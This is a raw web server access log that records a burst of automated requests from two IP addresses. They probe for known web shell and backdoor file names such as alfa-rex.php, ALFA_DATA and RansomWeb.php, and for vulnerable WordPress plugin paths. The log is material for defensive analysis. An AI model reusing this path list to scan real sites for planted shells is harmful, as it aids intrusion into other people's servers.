Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:20 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:21 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:21 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:22 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - 